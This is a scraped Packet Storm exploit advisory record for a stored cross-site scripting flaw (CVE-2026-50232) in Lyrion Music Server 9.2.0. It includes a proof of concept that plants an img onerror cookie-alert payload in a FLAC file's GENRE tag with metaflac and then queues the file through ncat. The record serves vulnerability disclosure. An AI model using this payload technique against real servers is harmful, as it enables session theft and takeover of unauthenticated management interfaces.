{“lastseen”:”2026-06-05T18:15:56″,”description”:”Lyrion Music Server version 9.2.0 stores media file metadata tags such as GENRE, ARTIST, and ALBUM exactly as written in the file and later renders them in its web interface without HTML-encoding, resulting in persistent cross site scripting. An…”,”published”:”2026-06-05T00:00:00″,”modified”:”2026-06-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Lyrion Music Server 9.2.0 metadata Persistent Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:222805″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-50232″],”sourceData”:”Lyrion Music Server 9.2.0 (metadata) Stored XSS\\n \\n \\n Vendor: LMS Community\\n Product web page: https:\/\/www.lyrion.org\\n Affected version 9.2.0\\n \\n Summary: Lyrion Music Server (formerly Logitech Media Server, and\\n often abbreviated as \\”LMS\\” ) is open-source software which can control\\n and serve (stream) music to a wide range of physical and virtual audio\\n players called Squeezeboxes. Lyrion Music Server can stream your local\\n music collection, internet radio stations, and content from many streaming\\n services (with and without subscriptions).\\n \\n Desc: Lyrion Music Server stores media file metadata tags (such as GENRE,\\n ARTIST, and ALBUM) exactly as written in the file and later renders them\\n in its web interface without HTML-encoding, resulting in stored cross-site\\n scripting. An attacker who gets a file with a malicious tag into the victim’s\\n library has their payload saved during the next library scan and executed\\n automatically whenever a user views that track’s information or plays the\\n file in the web UI. Because LMS is unauthenticated by default, the injected\\n script runs with full access to the management interface, allowing admin\\n commands, settings disclosure, and further exploitation.\\n \\n Tested on: Windows 10 (64-bit) – EN\\n Lyrion Music Server (9.2.0 – 1779973211)\\n Perl\/5.32.1\\n SQLite\\n \\n \\n Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n \\n \\n Advisory ID: ZSL-2026-5990\\n Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5990\\n CVE ID: CVE-2026-50232\\n CVE URL: https:\/\/www.cve.org\/CVERecord?id=CVE-2026-50232\\n \\n \\n 27.05.2026\\n \\n –\\n \\n \\n $ metaflac –set-tag=GENRE=\\”\\u003cimg src=1 onerror=alert(document.cookie)\\u003e\\” evil.flac\\n $ metaflac –list evil.flac\\n METADATA block #0\\n type: 0 (STREAMINFO)\\n is last: false\\n length: 34\\n minimum blocksize: 4608 samples\\n maximum blocksize: 4608 samples\\n minimum framesize: 2305 bytes\\n maximum framesize: 14124 bytes\\n sample_rate: 44100 Hz\\n channels: 2\\n bits-per-sample: 16\\n total samples: 4664587\\n MD5 signature: 2aeee69c0153cb652c718dfdf0e9ff2d\\n METADATA block #1\\n type: 4 (VORBIS_COMMENT)\\n is last: false\\n length: 98\\n vendor string: Lavf57.83.100\\n comments: 2\\n comment[0]: encoder=Lavf57.83.100\\n comment[1]: GENRE=\\u003cimg src=1 onerror=alert(document.cookie)\\u003e\\n METADATA block #2\\n type: 1 (PADDING)\\n is last: true\\n length: 8140\\n \\n $ ncat localhost 9090\\n playlist add file:\/\/\/music\/evil.flac”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222805″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222805\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-05T18:15:56″,”description”:”Lyrion Music Server version 9.2.0 stores media file metadata tags such as GENRE, ARTIST, and ALBUM exactly as written in the file and later renders…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-60212","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n